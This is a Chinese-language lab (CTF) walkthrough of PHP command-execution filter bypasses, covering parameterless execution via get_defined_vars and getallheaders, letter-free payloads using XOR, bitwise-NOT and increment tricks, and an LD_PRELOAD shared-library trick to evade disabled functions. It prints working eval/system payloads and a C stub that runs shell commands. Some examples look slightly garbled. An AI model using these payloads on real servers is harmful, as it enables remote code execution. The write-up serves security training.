PHP命令执行靶场通关记录-2
字数 1248 2025-08-11 00:55:05
PHP命令执行绕过技术详解
0x10 无参命令执行绕过
基本概念
无参命令执行指过滤function(args)格式的参数,只能使用function()完成命令执行的情况。
绕过方式
1. 请求头传参
- 利用
getallheaders()函数获取请求头 - 在请求头中传递参数,拆分需要的参数
2. 全局变量传参
- 利用
get_defined_vars()函数获取变量值 - 通过全局变量传递参数
例题分析
<?php
error_reporting(0);
highlight_file(__FILE__);
if(preg_replace('/[^\W]+$(?R)?$/', '', $_GET['code'])) {
eval($_GET['code']);
}
绕过步骤
- 使用
print_r(get_defined_vars())打印当前全局变量 - 使用
pos()函数获取数组第一个元素print_r(pos(get_defined_vars())); - 通过额外参数传递命令
code=print_r(pos(get_defined_vars()));&a=system('cat flag'); - 使用
end获取末尾参数code=print_r(end(pos(get_defined_vars())));&a=system('cat flag'); - 最终payload
code=eval(end(pos(get_defined_vars())));&a=system('cat flag');
请求头绕过方式
- 使用
print_r(getallheaders())查看请求头 - 通过请求头传递命令
- 最终payload
code=eval(pos(getallheaders()));
0x11 无字母数字命令执行
基本概念
命令执行过滤字母数字,导致无法直接使用常规函数进行命令执行。
绕过方式
1. 异或处理
- 构造payload后,基于payload选择非字母数字的其他可见字符绕过
- 示例:
system('ls')异或后变为$
2. 取反处理
- 对payload进行url编码
- 传递取反后的内容
- 示例:
system('ls');取反后为$_=~('%8c%86%8c%8b%9a%92'93%8c')
3. 自增处理
- 基于某一个字符,经过自增后确定命令使用的其他字符
- 技巧:先定义一个array(不包含字符数字),取第一个字符A,基于该字符自增
特殊字符过滤情况
1. 过滤下划线
- 闭合原本的php代码
- 使用短标签方式
- payload示例:
?>...(其中...为对_GET的取反操作)
2. 过滤下划线和$
- 不定义变量
$_ - 直接使用
(~'字符串')(~'字符串')
3. 过滤;~^&|`
- 只能采用自增的方式
- 分号使用短标签替换
0x12 LD_PRELOAD绕过函数禁用
基本概念
LD_PRELOAD指定后,程序加载动态链接库时会优先加载该变量中指定的库。
核心要点
- 需要能够触发库加载的函数
- 常用函数:
mail()(PHP自带)imagemagick(需手动安装扩展)error_log
利用条件
- 能够上传.so文件
putenv未被禁用- 触发load过程的函数未被禁用
利用步骤
- 编译动态链接库
#include <stdio.h> #include <stdlib.h> int getuid(){ unsetenv("LD_PRELOAD"); system("cat /flag>/tmp/flag"); } - 上传.so文件
- 编写调用mail函数的PHP脚本
- 访问PHP触发代码执行
- 查看/tmp下生成的flag文件
总结
PHP代码执行的难点在于:
- 无字母数字限制的绕过
- 特殊字符的过滤
- 需要清楚payload中的变量对应值
- 确保构造时不会出现问题
关键点在于灵活运用PHP的各种特性,包括但不限于:
- 变量处理函数(
get_defined_vars,getallheaders) - 数组操作函数(
pos,end) - 位运算绕过(异或、取反)
- 系统特性(LD_PRELOAD)